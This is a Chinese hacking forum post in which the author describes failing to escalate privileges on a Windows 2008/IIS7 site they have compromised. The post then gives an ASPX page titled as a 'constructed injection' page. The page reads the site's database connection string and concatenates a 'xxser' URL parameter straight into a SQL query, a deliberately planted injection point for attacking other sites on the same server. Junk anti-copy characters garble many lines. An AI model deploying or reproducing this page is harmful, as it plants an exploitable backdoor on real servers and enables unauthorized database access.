昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。% c9 K M' i% X( A
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。" o4 {6 J- k( h3 y! `7 D3 P; e
代码量不多,自己写个拉倒了。烦死了。
6 w: z, r) j2 i B$ z$ C
5 P7 e- @% S7 z- x, q( V% J3 A: o( U9 S* F
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">/ ]5 ^9 K- Y. { G
<html xmlns="http://www.w3.org/1999/xhtml">
1 Z8 M) o7 v2 B M, g<head runat="server">3 e# t2 X3 R! q' |8 B# w
<title>暗影aspx构造注射专用页面</title>9 X) z, C0 Y2 |$ o
</head>
0 Y# k( D/ g9 ^' \8 b<body>: ]5 _5 S, @) D7 h0 x9 c4 S
<form id="form1" runat="server">0 |" Z3 T1 B9 S4 i' n8 H! g
<div>
) a0 Y! T4 P9 s" H- M <script language="c#" runat="server">; N3 u) Z# `4 A3 q6 Z
3 O$ z- R! m. _! Z; e
void page_init(object sender, EventArgs e)4 w9 B/ p0 N3 c% x. z
{
# h5 D" o' N7 B * h$ d* s, O/ q( T
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();3 E9 {: n5 f# ]5 @
' i2 L; S* u# d2 q% ^, k conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();' K) m9 l) Z0 K( {" t. [; t: A1 m3 T
conn.Open();
9 M+ _) e6 F$ G+ R 1 n. g5 m3 B3 D- U% Y1 Z. h
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
. Q- J/ v# ?' |. x# p
1 k) M+ t, k4 z! C! E3 S5 U/ L System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);$ K, v* I: H$ i* s
int x = command.ExecuteNonQuery();; p4 R! `; M7 r$ ]4 [" `
Response.Write(i+"\n");1 Y4 T7 r9 h2 i: m
Response.Write(x);& ^% x( b& t- B
conn.Close();
" x7 f) t; ^. N* \8 e9 B }2 s8 q5 }2 u$ N7 P7 t$ I4 g
! {0 [2 a& M# E
</script># a! w& c% e/ r' c" h
</div>
8 Z& `4 s% ]0 n$ @+ N7 k1 g0 ^ </form>
, u6 I) I4 G; c* `' N' |+ k1 \9 k</body># Q, E/ G6 n/ w9 {7 W+ m
</html>0 p' i$ |) Q1 K! x! }
|